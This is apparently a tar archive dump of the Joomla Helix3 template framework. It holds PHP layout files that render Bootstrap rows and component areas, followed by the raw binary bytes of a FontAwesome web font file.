$lyt_thm_path   = $themepath . '/html/layouts/helix3/';

$layout_path  = (file_exists($rows_file)) ? $lyt_thm_path : JPATH_ROOT .'/plugins/system/helix3/layouts';

$data = $displayData;

$output ='';

$output .= '<' . $data['sematic'] . ' id="' . $data['id'] . '"' . $data['row_class'] . '>';

if ($data['componentArea']){
    if (!$data['pagebuilder'] && !$data['fluidrow']){
        $output .= '<div class="container">';
    }
}
else{
    if (!$data['fluidrow']){
        $output .= '<div class="container">';
    }
}


$getLayout = new JLayoutFile('frontend.rows', $layout_path );

$output .= $getLayout->render($data);


if ($data['componentArea']){
    if (!$data['pagebuilder']){
        $output .= '</div>';
    }
}
else{
    if (!$data['fluidrow']){
        $output .= '</div>';
    }
}

$output .= '</' . $data['sematic'] . '>';


echo $output;
                                                                          system/helix3/layouts/frontend/rows.php                                                             0000705                 00000004472 15242051520 0014307 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
defined('_JEXEC') or die('Restricted Access');

//helper & model
$helix3_class   = JPATH_ROOT . '/plugins/system/helix3/core/classes/helix3.php';

if (file_exists($helix3_class)) {
    require_once($helix3_class);
}

$template       = JFactory::getApplication()->getTemplate();
$themepath      = JPATH_THEMES . '/' . $template;
$carea_file     = $themepath . '/html/layouts/helix3/frontend/conponentarea.php';
$module_file    = $themepath . '/html/layouts/helix3/frontend/modules.php';
$lyt_thm_path   = $themepath . '/html/layouts/helix3/';

$layout_path_carea  = (file_exists($carea_file)) ? $lyt_thm_path : JPATH_ROOT .'/plugins/system/helix3/layouts';
$layout_path_module = (file_exists($module_file)) ? $lyt_thm_path : JPATH_ROOT .'/plugins/system/helix3/layouts';

$data = $displayData;

$output ='';

$output .= '<div class="row">';

foreach ($data['rowColumns'] as $key => $column){

    //Responsive Utilities
    if (isset($column->settings->xs_col) && $column->settings->xs_col) {
        $column->className = $column->settings->xs_col . ' ' . $column->className;
    }

    if (isset($column->settings->sm_col) && $column->settings->sm_col) {
        $column->className = preg_replace('/col-sm-\d*/', $column->settings->sm_col, $column->className);
    }

    if (isset($column->settings->hidden_md) && $column->settings->hidden_md) {
        $column->className = $column->className . ' hidden-md hidden-lg';
    }

    if (isset($column->settings->hidden_sm) && $column->settings->hidden_sm) {
        $column->className = $column->className . ' hidden-sm';
    }

    if (isset($column->settings->hidden_xs) && $column->settings->hidden_xs) {
        $column->className = $column->className . ' hidden-xs';
    }
    //End Responsive Utilities

    if ($column->settings->column_type){ //Component
        $getLayout = new JLayoutFile('frontend.conponentarea', $layout_path_carea );
        $output .= $getLayout->render($column);
    }
    else { // Module

        $getLayout = new JLayoutFile('frontend.modules', $layout_path_module );
        $output .= $getLayout->render($column);
    }
}

$output .= '</div>'; //.row

echo $output;
                                                                                                                                                                                                      system/helix3/layouts/frontend/conponentarea.php                                                    0000705                 00000001265 15242051520 0016146 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
defined('_JEXEC') or die('Restricted Access');

//Helix3
helix3::addLess('frontend-edit', 'frontend-edit');
helix3::addJS('frontend-edit.js');

$data = $displayData;

$output ='';

$output .= '<div id="sp-component" class="' . $data->className . '">';

$output .= '<div class="sp-column ' . ($data->settings->custom_class) . '">';
$output .= '<jdoc:include type="message" />';
$output .= '<jdoc:include type="component" />';
$output .= '</div>';

$output .= '</div>';


echo $output;
                                                                                                                                                                                                                                                                                                                                           system/helix3/assets/fonts/fontawesome-webfont.eot                                                  0000705                 00000503556 15242051520 0016431 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       n                       LP                       Yxϐ                   F o n t A w e s o m e    R e g u l a r   $ V e r s i o n   4 . 7 . 0   2 0 1 6    F o n t A w e s o m e            PFFTMkG    GDEF  p    OS/22z@  X   `cmap
:    gasp  h   glyfM   Lhead-      6hhea
     $hmtxEy    
loca\    maxp,  8    name㗋 gh  post k  u    ːxY_<      32    32 	                 	 	                   '            @       i   3   3  s                              pyrs @                          p    U                                 ]                              y n                       2                           @                    
                                                                           z                     Z                                @    5 5             z                                  Z  Z          @                                                                    ,  _                 @                                              s                               @         	            @                        (                                     @            @      @        -   M M -  M M                  @                                 @  @  -              `   b                 $                                       6                                         4           8       " "  "  "  "  "                  @                  D         @                   ,              ,     @                                                 	     m                        )                 @    @   	                                	                                   '                      D     9                   >                              d  Y     *     	  '	   	   	   	   	   	                                             	                                                           	                                                                                   T	      	   	   	   	   	            	         	   	      	                                                 @   	     f     	                                              %                 R           E	            	      	     $                    !  k  (                   D    '	         	         %                 	                %	                                         	                                                       0  %    /       &                                                      p @  0       !"""`>N^n~.>N^n~>N^n~          !"""` !@P`p  0@P`p !@P`p \XSB1ݬ
	                                                                                                                                                                                                                                                                                       
	                                                                                        ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,         t    L    T  $    l  	x  	  
T  (      d             l  ,          4    d    p  H    $  d  ,    t  (        !  "0  #   $,  $  &D  '  (  )T  *  *  ,  ,  -  .@  .  /`  /  0  0  1  2  3d  44  4  5   5  5  6   6\  6  7H  7  8  8`  8  9L  9  :h  :  ;  <p  =p  ><  >  ?h  ?  @H  @  A0  A  BX  B  Cd  C  DL  D  E  F  G0  G  H  I  J8  K  L  Md  N,  N  N  O  P`  P  Q4  Q  R  Rl  S,  S  T`  U0  W  X  Z  [@  [  \<  \  ]  ^(  ^  _  `p  b,  b  d  d  eP  e  f  g`  g  iL  i  jD  k  k  l  m@  n,  oL  p  q  r  sx  t  t  uD  {`  |   |  }  }  ~          H          l  @            l  H       T    H        `      @      $  \  X    D        T  X      D  P  ,    8    d  \                    H    x       t    X    p     d          x  t              @            \     ļ    Ÿ  Ɣ  0    d    ʨ  ˀ      ͔  x    ϰ  Ќ  ,  ш    ҈    ӌ    8  ,  ՜  `    l  H  ش  `    T  ڸ    ۔  @    l    ބ    ߬    l  p                                       4        X    $  l    (      `               	d 
 
    ,    ,   8   (  X    x | T  @    |   ! "x # #l $ $ 'h ( *L ,T .L 1t 1 2 30 3 4 5t 6T 7$ 8 9H : : ; < < ?X @ A B C D EH FH Gp HH Ix J  J K L M N@ P@ Q R SD T  UL V` V WX X4 X Z Z [d [ \| ] ^ ` aH a b cX d et fh g h i\ jx n p@ s v w x y z {h | } } \   l t  4     t  8 8  L  T         |     |     4 x   L      X (           @   l  t   $   x L L    H     Ġ T (    ʈ ˠ   ϔ l d  P  Մ x p   ڬ T T   ވ L     < H  $  l    4          P l   ,  x  p , x t  d   4   4  , h  P 	4 
    4  < , , 4 0 8 $  8  T   | !h " $L %0 &H ' ( ) *0 * + , .$ . 0 1 2@ 2 3 4t 5$ 6 9  : : ; ; <( < =4 ? @ A C D F H` H I L L L L L L L L L L L L L L L L  p       7!!!@pp p       ]    !2#!"&463!&54>3!2+@&&&&@+$(($F#+ &4&&4& x+#       +  ".4>32".4>32467632 DhgZghDDhg-iW DhgZghDDhg-iW&@(8 2N++NdN+';2N++NdN+'3
 8      !        #"'#"$&6$ rL46$܏ooo|W%r4L&V|oooܳ%        = M  %+".'&%&'3!26<.#!";2>767>7#!"&5463!2 %3@m00m@3% @:"7..7":6]^B@B^^BB^  $΄+0110+$ (	
t1%%1+`B^^B@B^^        "'.54632>324
#L</>oP$$Po>Z$_dC+I@$$@I+     "  #"'%#"&547&547%62V??V8<8yb%	I))9I	       	 +  	%%#"'%#"&547&547%62q2ZZ2IzyV)??V8<8)>~>[
2b%	I))9I	         %#!"&54>3 72  &6  }XX}.GuLlLuG. >mmUmEEm>         / ? O _ o      54&+";2654&+";2654&+";264&#!"3!2654&+";2654&+";264&#!"3!2654&+";2654&+";2654&+";267#!"&5463!2&&&&&&&&&&&& & && & &&&&&&&&& && &&&&&&&&&&&&&^BB^^B@B^@&&&&&&&&&&&& && &&&&&&&&&& && &&&&&&&&&&&&&&B^^B@B^^        / ?  #!"&5463!2#!"&5463!2#!"&5463!2#!"&5463!2 L4 4LL4 4LL4 4LL4 4LL4 4LL4 4LL4 4LL4 4L 4LL44LL4LL44LL4LL44LL4LL44LL 	        / ? O _ o    #!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 8((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(8 (88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88          / ? O _  #!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 8((88(@(88((88(@(8 8(@(88((8 8((88(@(8 8(@(88((88(@(88((8 (88((88(88((88(88((88(88((88(88((88(88((88    y     "/&4?62	62,PP&PP,jP  n #  $"'	"/&47	&4?62	62	PP&P&&P&P&P&&P&P      # + D  ++"&=#"&=46;546;232      #"'#"$&6$  @@rK56$܏ooo|W@@rjK&V|oooܳ        0  #!"&=463!2      #"'#"$&6$  @rK56$܏ooo|W@@rjK&V|oooܳ         ) 5   $&54762>54&'.7>"&5462 zz+i *bkQнQkb* j*LhLLhLzzBm +*i JyhQQhyJ i*+ mJ4LL44LL          / ? O  %+"&=46;2%+"&546;2%+"&546;2+"&546;2+"&546;2 `r@@r@@        n   4&"2#"/+"&/&'#"'&'&547>7&/.=46?67&'&547>3267676;27632 Ԗ#H
	,/1)
~'H(C
	,/1)	$HԖԖm6%2X
%	l2k	r6
[21..9Q
$
k2k	
w3[20       / ; C g  +"&546;2+"&546;2+"&546;2!3!2>!'&'!+#!"&5#"&=463!7>3!2!2 @@ @@ @@@`0

o`^BB^`5FN(@(NF5 @@@L%%Ju		@LSyuS@%44%       f  5  #!!!"&5465	7#"'	'&/&6762546;2& &??>LL>
 X 
  &&&AJ	A	J
Wh          #  #!"&5463!2!&'&!"&5!(8((88((`x
c`(8 `((88(@(8(D9 8(           ,  #!"&=46;46;2 .  6  $$ @(r^aa@@`(_^aa    2  N   C  5.+";26#!26'.#!"3!"547>3!";26/.#!2W.@@.$SS$@9I  I6>>         % =  $4&"2$4&"2#!"&5463!2?!2"'&763!463!2!2 &4&&4&&4&&48(@(88(ч::(8@6@* & & *4&&4&&4&&4& (88(@(8888)@)'&&@      $ 0  "'&76;46;232  >& $$ `
(r^aa`		@`2(^aa         $ 0  ++"&5#"&54762  >& $$ ^
?@(r^aa`?		(^aa         #  !.'!!!%#!"&547>3!2<<<_@`&&
5@5
@&&>=(""=       '   #"'&5476.  6  $$    ! (r^aaJ	%%(_^aa     3  #!"'&?&#"3267672#"$&6$3276 &@*hQQhwI
	mʬzzk)' @&('QнQh_
	
z8zoe      $ G   !"$'"&5463!23267676;2#!"&4?&#"+"&= !2762@hk4&&&GaF*&@&ɆF*Ak4&nf&&&4BHrd@&&4rdMoe&            / ? O _ o   +"&=46;25+"&=46;25+"&=46;2#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!26#!"&5463!2@@@@@@@@@@^B@B^^BB^`@@@@@@@@@@@@3@MB^^B@B^^         !54&"#!"&546;54   32@ Ԗ@8(@(88( p (8 jj(88(@(88   @   7  +"&5&5462#".#"#"&5476763232>32@@@@KjKך=}\I&:k~&26]S& H&&H5KKut,4,	& x:;*4*&        K  #+"&546;227654$ >3546;2+"&="&/&546$ <X@@Gv"DװD"vG@@X<4L41!Sk @ G<_bb_<G  kS!1zz          "'!"&5463!62 &4&&M4&&M&&M&          -  "'!"&5463!62 #"&54>4.54632 &4&&M4&UF
&""""&
F&M&&M&%/B/%      G  - I k  "'!"&5463!62 #"&54>4.54632#"&54767>4&'&'&54632#"&547>7676'&'.'&54632 &4&&M4&UF
&""""&
FU&'8JSSJ8'&&'.${{$.'&&M&&M&%/B/%7;&'66'&;4[&$[2[$&[              # / 3 7  #5#5!#5!!!!!!!#5!#5!5##!35!!!                        # ' + / 3 7 ; ?  3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3????  ^>>~??????~??~??^??^^?  ^??          4&"2#"'.5463!2KjKKjv%'45%5&5L45&%jKKjK@5%%%%54L5&6'      k   5   4&"2#"'.5463!2#"&'654'.#32KjKKjv%'45%5&5L45&%%'4$.%%5&55&%jKKjK@5%%%%54L5&6'45%%%54'&55&6'  
y T d t  #!"&'&74676&7>7>76&7>7>76&7>7>76&7>7>63!2#!"3!2676'3!26?6&#!"3!26?6&#!"g(sAeM,*$/!'&JP$G]
x6,&`h`"9Hv@WkNC<.
&k&
("$p"	.#u&#	%!'	pJvwEF#@@        2#"'	#"'.546763!''!0#GG$/!''!	8""8 X!	8"	"8	          <  )!!#"&=! 4&"27+#!"&=#"&546;463!232(8&4&&48(@(8qO@8((`(@Oq 8(&4&&4&@`(88(Oq (8(`( q      ! )   2"&42#!"&546;7>3!2      Ijjjj3e5 5e3gr`Ijjjj1GG1r        P  2327&7>7;"&#"4?2>54.'%3"&#"#ժ!9&WB03&K5!)V?@L'	>R>e;&L::%P>vO
'h N_":-&+#
:	'	      + a  %3 4'.#"32>54.#"7>7><5'./6$3232#"&#"+JBx)EB_I:I*CRzb3:dtB2P$$5.3bZF|\8!-T>5Fu\,,jn OrB,<!
54wJ]?tTFi;23j.p^%/2+	S:T}K4W9: #ƕdfE     :  7>7676'5.'732>7"#"&#&#"OAzj=N!}:0e%	y+tD3~U#B4#g		'2
%/!:T	bRU,7        }  %2"/&6;#"&?62+326323!2>?23&'.'.#"&"$#"#&=>764=464.'&#"&'!~:~!PP!~:~!P6,,$$%*'c2N 	
($"LA23Yl!x!*%% %% pP,T	NE	Q7^oH!+(
3	 *Ueeuwg      a   32632$?23&'.5&'&#"&"5$#"#&=>7>4&54&54>.'&#"&'2#".465!#".'&47>32!4&4>Q6,,Fa w!*'
=~Pl*	
($"LA23Yl	)!*<7@@7< <7@@7<  pP,T	MFQ747ƢHoH!+(
3	 tJHQ6wh',686,'$##$',686,'$##$          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && & & && &&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&& &&&&&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && && && &&&&&&&&&f&&&&f&&&&f&&&&            / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&f&&&&f&&&&f&&&&            / ? O _ o   %+"&=46;2+"&=46;2+"&=46;2#!"&=463!2+"&=46;2#!"&=463!2#!"&=463!2#!"&=463!2  @  @@@sssss          / ? O  #"'&47632#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2			 	@@@@	 		 	sss         / ? O   #"&54632	#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2`			 @@@@		@		sss           #"'#!"&5463!2632 'mw@www'*wwww          .   "&462!5	!"3!2654&#!"&5463!2pppp@  @^BB^^B@B^ppp@@  @ @B^^BB^^   k    %  !7'34#"3276'	!7632k[[v

6`%`$65&%[[k
`5%&&'          4&"2"&'&54    Ԗ!?H?!,,ԖԖ mF!&&!Fm,        %"  $$  ^aa`@^aa           -  4'.'&"26%   547>7>2 "KjK XQqYn	243nYqQ$!+!77!+!$5KK,ԑ	]""]ً	        9 > H  7'3 &7#!"&5463!2'&#!"3!26=4?6	!762xtt`   ^Qwww@?61B^^B@B^	@(` `\\\P`tt8`  ^Ͼww@w1^BB^^B~	@` \ \P          + Z  #!"&5463!12+"3!26=47676#"'&=# #"'.54>;547632www M8
pB^^B@B^'sw-

9*##;Noj'#ww@w"^BB^^B
	*"g`81T`PSA:'*4       / D  #!"&5463!2#"'&#!"3!26=4?632"'&4?62	62www@?61
B^^B@B^	@
BRnBBn^ww@w1
^BB^^B	@
BnnB          C   "&=!32"'&46;!"'&4762!#"&4762+!5462  4&& 4 &&4  4&& 4 &&4 4 &&4  4&& 4 &&4  4&&        6'&'+"&546;267:	&&&&	s@	
Z&&&&Z
	     +  6'&''&'+"&546;267667:	:	&&&&		s@	
:	
Z&&&&Z
	:
	  z   6'&''&47667S:	:	s@	
:4:
	    |   	&546h!!0a$           #!"&5463!2#!"&5463!2 & && && && &@&&&&&&&&          #!"&5463!2 &&&&@&&&&         &54646&5-	:	s:	
:4:
	        +  &5464646;2+"&5&5-		&&&&	:	s:	
:	
&&&&
	:
	         &54646;2+"&5-	&&&&	s:	
&&&&
	          62#!"&!"&5463!24@&&&&-:& && &        	"'&476244444     Zf   	"/&47	&4?62S44444       # /  54&#!4&+"!"3!;265!26  $$ & && && && &@^aa@& && && && &+^aa        54&#!"3!26  $$ & && &@^aa@&&&&+^aa       + 7  4/7654/&#"'&#"32?32?6  $$ }ZZZZ^aaZZZZ^aa      #  4/&"'&"327> $$ [4h4[j^aa"ZiZJ^aa      : F  %54&+";264.#"32767632;265467>$ $$  oW	5!"40K(0?i+! ":^aaXRdD4!&.uC$=1/J=^aa       . :  %54&+4&#!";#"3!2654&+";26 $$  ```^aa ^aa      / _  #"&=46;.'+"&=32+546;2>++"&=.'#"&=46;>7546;232m&&m l&&l m&&m l&&ls&%&&%&&%&&%& &&l m&&m l&&l m&&m ,&%&&%&&%&&%&        # / ;  "/"/&4?'&4?627626.  6  $$ I














͒(r^aaɒ














(_^aa           ,  	"'&4?6262.  6  $$ Z4f44fz(r^aaZ&4ff4(_^aa        	  "  4'32>&#"  $&6$  WoɒV󇥔 zzz8YW˼[?zz:zz   @5 K    #!#"'&547632!2 A4@%&&K%54'u%%&54&K&&4A5K$l$L%%%54'&&J&j&K    5K    #"/&47!"&=463!&4?632%u'43'K&&%@4AA4&&K&45&%@6%u%%K&j&%K55K&$l$K&&u#   5K@ !  #"'+"&5"/&547632K%K&56$K55K$l$K&&#76%%53'K&&%@4AA4&&K&45&%%u'     5K "  #"'&54?63246;2632K%u'45%u&&J'45%&L44L&%54'K%5%t%%$65&K%%4LL4@&%%K'      ,   "&5#"#"'.'547!3462  4&bqb>#5&4 4 & 6Uue7D#		"ǆ &        /   #!"&546262"/"/&47'&463!2
&@&&4L

r&4

r

L&&
4&&&L

rI@&

r

L4&&     s  /  "/"/&47'&463!2 #!"&546262 &4

r

L&&
&@&&4L

r@@&

r

L4&&
4&&&L

r         #  #!+"&5!"&=463!46;2!28(`8((8`(88(8((8(8 (8`(88(8((8(88(`8          #!"&=463!28(@(88((8 (88((88   z 5  '%+"&5&/&67-.?>46;2%6.@g.L44L.g@.
.@g.
L44L
.g@.g.n.4LL43.n.gg.n.34LL4͙.n.g        -     $54&+";264'&+";26/a^



^aafm
        @    J  %55!;263'&#"$4&#"32+#!"&5#"&5463!"&46327632#!2$$8~+(888(+}(`8((8`]]k==k]]8,8e8P88P8`(88(@MM        N   4&#"327>76$32 #"'.#"#"&'.54>54&'&54>7>7>32 &z&^&./+>+)>J>	Wm7'
'"''? &4&c&^|h_bml/J@L@#*#M6:D
35sҟw$	'%
'	\t          3  #!"&=463!2'.54>54''@ 1O``O1CZZ71O``O1BZZ7@@N]SHH[3`)TtbN]SHH[3^)Tt           ! 1  &'   547 $ 4&#"2654632    '&476   ==嘅}(zVl''ٌ@uhyyhu9(}VzD##D#     	  = C U  %7.547 4&#"2654632% #"'&547.'&476 !27632#76$7&'7+NWb=嘧}(zVj\i1
z,XY[6
$!%'FuJiys?_9ɍ?kyhun(}VzYF
KA؉La
02-F"@Qsp@_        ! 3  %54&+";264'&+";26#!"&'&7>2 

 #%;" ";%# <F<7
??""??$$     ll 2  #"'&'	+&/&'&?632	&'&?67>`,@L5`		
`	L`4LH``	a	5L@              # 3 7 ; ? O s  !!!!%!!!!%!!!!!!!!%!!4&+";26!!%!!!!74&+";26%#!"&546;546;2!546;232 `@ `@ @@  @@@ @  @@L44LL4^B@B^^B@B^4L  @@@@      @@  @@   M 4LL4 4L`B^^B``B^^B`L        7 q  .+"&=46;2 #"&=".'673!54632#"&=!"+"&=46;2>767>3!54632<M33K,		 j8Z4L2B4:;M33K, ?			 0N<* .)C=W]xD0N<* .)C=W]xD ?\-7H)		".=']-7H)
w		<?.>mBZxPV3!<?.>mBZxPV3!
         &   #"'&'5&6&>7>7&54>$32 dFK1A
0)L.٫C58.H(Ye      # 3 C   $=463!22>=463!2#!"&5463!2#!"&5463!2 H&&/<R.*.R</&& &&&& &&&&Bɀ&&4L&&L4&&f&&&&&&&&     Z     %"'	"/&4762444ͥ55     Z   	"'&4?62	6244455        % K  %#!".<=#"&54762+!2"'&546;!"/&5463!232 @&@<@&@	:&	& 
&&
&	
`&          :  $"&462"&462!2#!"&54>7#"&463!2!2LhLLhLhLLh!&& &&& &4hLLhLLhLLhL %z<
0&4&&)17&4&&&           #!"&5463!2!2\@\\@\\@\\\\         W  *  #!"&547>3!2!"4&5463!2!2W+B"5P+B@"5^=\@\ \H#t3G#3G:_Ht\\     @      +32"'&46;#"&4762&& 4 && 4 4& &4  4& &4       @     "&=!"'&4762!5462  4& &4  4& &4 4 && 4 &&              !!!3!!                    0 @  67&#".'&'#"'#"'32>54'6#!"&5463!2 8ADAE=\W{O[/5dIkDtpČe1?*w@www	(M&B{Wta28r=Ku?RZ^GwT	-@www       $  2+37#546375&#"#3!"&5463ww/Dz?swww@wS88	ww           # ' . >   4&#"26546326"&462!5! &  !5!!=!!%#!"&5463!2B^8(Ԗ  > @|K5 5KK5 5K^B(8ԖԖ>v 5KK5 5KK   H  G   4&"&#"2654'32#".'#"'#"&54$327.54632@pp)*Pppp)*Pb	'"+`N*(a;2̓c`." b
PTY9ppP*)pppP*) b ".`(*Nͣ2ͣ`+"'	b
MRZB               4&"24&"264&"26#"/+"&/&'#"'&547>7&/.=46?67&'&547>3267676;27632#"&'"'#"'&547&'&=4767&547>32626?2#"&'"'#"'&547&'&=4767&547>32626?2ԖLhLKjKLhLKjK	"8w
s%(")v

>
	"8x
s"+")v
<
3zLLz33>8L3)x33zLLz33>8L3)x3ԖԖ 4LL45KK54LL45KK
#)0C	wZl/

Y	
N,&
#)0C	vZl.

YL0"qG^^Gqq$ ]G)FqqG^^Gqq$ ]G)Fq         % O   #"'#"&'&4>7>7.546$ '&'&'# '32$7>54'VZ|$2$
|E~E<|
$2$|ZV:(t}X(	&%(Hw쉉xH(%&	(XZT\MKG        < m  $4&"24&#!4654&#+32;254'>4'654&'>7+"&'&#!"&5463!6767>763232 &4&&4N2`@`%)7&,$)'  %/0Ӄy#5 +1	&<$]`{t5KK5$e:1&+'3TF0h4&&4&3M:;b^v+D2 5#$IIJ 2E=\$YJ!$MCeM-+(K55KK5y*%Au]c         > q   4&"24&'>54'654&'654&+"+322654&5!267+#"'.'&'&'!"&5463!27>;2 &4&&4+ 5#bW0/%  ')$,&7)%`@``2Nh0##T3'"(0;e$5KK5 tip<&	1&4&&4& #\=E2&%IURI$#5 2D+v^b;:M2gc]vDEA%!bSV2MK55K(,,MeCM$!I     @   #"&547&547%6@?V8b%	I)         9  4.""'."	67"'.54632>32+C`\hxeH>Hexh\`C+ED4
#L</>oP$$Po>Q|I.3MCCM3.I|Q/Z$_dC+I@$$@I+           ( @  %#!"&5463!2#!"3!: "&5!"&5463!462ww@B^^B 
4&@&&&4 ` ww ^B@B^24& && &        % 5  73#7.";2634&#"35#347>32#!"&5463!2FtIG9;HIxI<,tԩw@wwwz4DD43EEueB&#1s@www      .  4&"26#!+"'!"&5463"&463!2#2&S3Ll&c4LL44LL4c@&&{ LhLLhL           ' ?  #!"&5463!2#!"3!26546;2"/"/&47'&463!2www@B^^B@B^@&4t

r

& &`ww@w@^BB^^B@R &t

r

4&&         @   "&5!"&5463!462	#!"&54&>3!2654&#!*.54&>3!24&@&&&4 sw@B^^B
@w4& && &3@w ^BB^       I  &5!%5!>732#!"&=4632654&'&'.=463!5463!2!2J  JSq*5&=CKuuKC=&5*q͍S8( ^B@B^ (8`N`Ѣ΀GtO6)"M36J[E@@E[J63M")6OtG(8`B^^B`8   	        ' , 2    6'&'&76'6'&6&'&6'&4#"7&64   654'.'&'.63226767.547&7662>76#!"&5463!2		/[		.
=XĚ4,+"*+, 1JH'5G::#L5+@=&# w@wwwP.1GE,ԧ44+	;/5cFO:>JJ>:O9W5$@(b4@www      ' ?  $4&"2$4&"2#!"&5463!3!267!2#!#!"&5!"'&762 &4&&4&&4&&48(@(88(c= =c(8* & & *6&4&&4&&4&&4& (88(@(88HH88`(@&&('@       1 c  4&'.54654'&#"#"&#"32632327>7#"&#"#"&54654&54>76763232632


	N<;+gC8A`1a99gw|98aIe$IVNz<:LQJ
,-[%	061I()W,$-7,oIX()oζA;=N0
eTZ	 (       O  #".'&'& '&'.54767>3232>32e^\4?P	bMO0#382W#& 9C9
Lĉ"	82<*9FF(W283#0OMb	P?4\^eFF9*<28	"L
9C9 &#           !"3!2654&#!"&5463!2`B^^B@B^^ީwww@w ^BB^^B@B^ww@w      #  !72#"'	#"'.546763 YY!''!0#GG$/!''! &UUjZ	8""8 X!	8"	"8	        G W  4.'.#"#".'.'.54>54.'.#" 32676#!"&5463!2  1.-
+$)c8)1)

05.D<90)$9 w@wwwW

)1)7c)$+
-.1 9$)0<D.59@www  ,  T  1  # '327.'327.=.547&54632676TC_LҬ#+i!+*pDNBN,y[`m`%i]hbEm}au&,SXK
&$f9s?
    _    #"!#!#!54632V<%' ЭHH	(ں       T \ d k s z       &54654'>54'6'&&"."&'./"?'& 546'&6'&6'&6'&6'&74"727&6/a49[aA)O%-j'&]]5r-%O)@a[9'
0BA;+

>HCU


	#	
	
$				2	AC: oM=a-6OUwW[q	( -	q[WwUP6$C

+) (	
8&/&eMa	
&$	        %  +"&54&"32#!"&5463!54   &@&Ԗ`(88(@(88(r && jj8((88(@(8        # ' +  2#!"&5463"!54&#265!375!35!B^^BB^^B` ^B@B^^BB^ `       ! =   "&462+"&'& '.=476;+"&'& $'.=476;pppp$!$qr%}#ߺppp!E$rqܢ#%ֻ!           ) ?   "&462"&4624&#!"3!26!.#!"#!"&547>3!2/B//B//B//B@2^B@B^\77\aB//B//B//B/@~B^^B@2^5BB52     . 4  2## %&'.67#"&=463! 2 5KK5L4_u:B&1/&.-
zB^^B4LvyKjK4L[!^k'!A3;):2*<vTq6^BB^L4$)*    @     A  4#"&54"3! 4."#!"&5!"&5>547&5462;U gIv0ZZ0L4@Ԗ@4L2RX='8P8'=XR U;Ig0,3lb??bl34LjjL4*\(88(\    } I  /#"/'&/'&?'&'&?'&76?'&7676767676`
(5)0
)*)
0)5(

(5)0
))))
0)5(
*)
0)5(
)5)0
)**)
0)5)

)5)0
)*      5 h  $4&"24&#!4>54&#"+323254'>4'654&'!267+#"'&#!"&5463!2>767>32!2 &4&&4N2$YGB(HGEG  HQ#5K4Li!<;5KK5 
A#("/?&}vh4&&4&3M95S+C=,@QQ9@@IJ 2E=L5i>9eME;K55K	J7R>@#zD<      5 = q  %3#".'&'&'&'.#"!"3!32>$4&"2#!"#"&?&547&'#"&5463!&546323!2`  #A<(H(GY$2NL4K5#aWTƾh&4&&4K5;=!ihv}&?/"(#A
 5K2*!	Q@.'!&=C+S59M34L=E2 JI UR@@&4&&4&5K;ELf9>ig<Dz#@>R7J	K          5 h  4&"24#"."&#"4&#"".#"!54>7#!"&54.'&'.5463246326326 &4&&4IJ 2E=L43M95S+C=,@QQ9@@E;K55K	J7R>@#zD<gi>9eMZ4&&4&<#5K4LN2$YGB(HGEG  HV;5KK5 
A#("/?&}vhi!<         4 < p  4.=!32>332653272673264&"2/#"'#"&5#"&54>767>5463!2@@2*!	Q@.'!&=C+S59M34L.9E2 JI UR&4&&4&Lf6Aig6Jy#@>R7J	K55K;E@TƾH  #A<(H(GY$2NL4K#5#a=4&&4&D=ihv}&?/"(#A
 5KK5;         +  54&#!764/&"2?64/!26  $$  &
[6[[j6[& ^aa@&4[[6[[6&+^aa        +   4/&"!"3!277$ $$ [6[
&&[6j[^aae6[j[6&&4[j[^aa      +   4''&"2?;2652?$ $$ [6[[6&&4[^aaf6j[[6[
&&[^aa      +   4/&"4&+"'&"2?  $$ [6&&4[j[6[j^aad6[&&
[6[[j ^aa             $2>767676&67>?&'4&'.'.'."#&6'&6&'3.'.&'&'&&'&6'&>567>#7>7636''&'&&'.'"6&'6'..'/"&'&76.'7>767&.'"76.7"7"#76'&'.'2#22676767765'4.6326&'.'&'"'>7>&&'.54>'>7>67&'&#674&7767>&/45'.67>76'27".#6'>776'>7647>?6#76'6&'676'&67.'&'6.'.#&'.&6'&.5/a^D&"	


	4	$!	#	
		
	


 
.0"Y
	+!	
	
$		"+


		
	Α	
		^aa
	

					

		
			P '-(	#	*	$
"!				*
!	
(				
	
$
		
2   ~   /  $4&"2	#"/&547#"  32>32&4&&4V%54'j&&'/덹:,{	&4&&4&V%%l$65&b'Cr!"k[G             + ;  %!5!!5!!5!#!"&5463!2#!"&5463!2#!"&5463!2    &&&&&&&&&&&&@ && && && && && &&   {    #"'&5&763!2{' * *)* )'             /  !5!#!"&5!3!26=#!5!463!5463!2!2  ^B@B^&@&`   ^B`8(@(8`B^   B^^B&&B^(88(^      G  	76#!"'&?	#!"&5476	#"'&5463!2	'&763!2#"'c)'&@**@&('c(&*cc*&'*@&('c'(&*cc*&('c'(&@*        1 9 A S [  #"&532327#!"&54>322>32 "&462  &6 +&'654'32>32"&462QgRp|Kx;CByy 6Fe=
BPPB
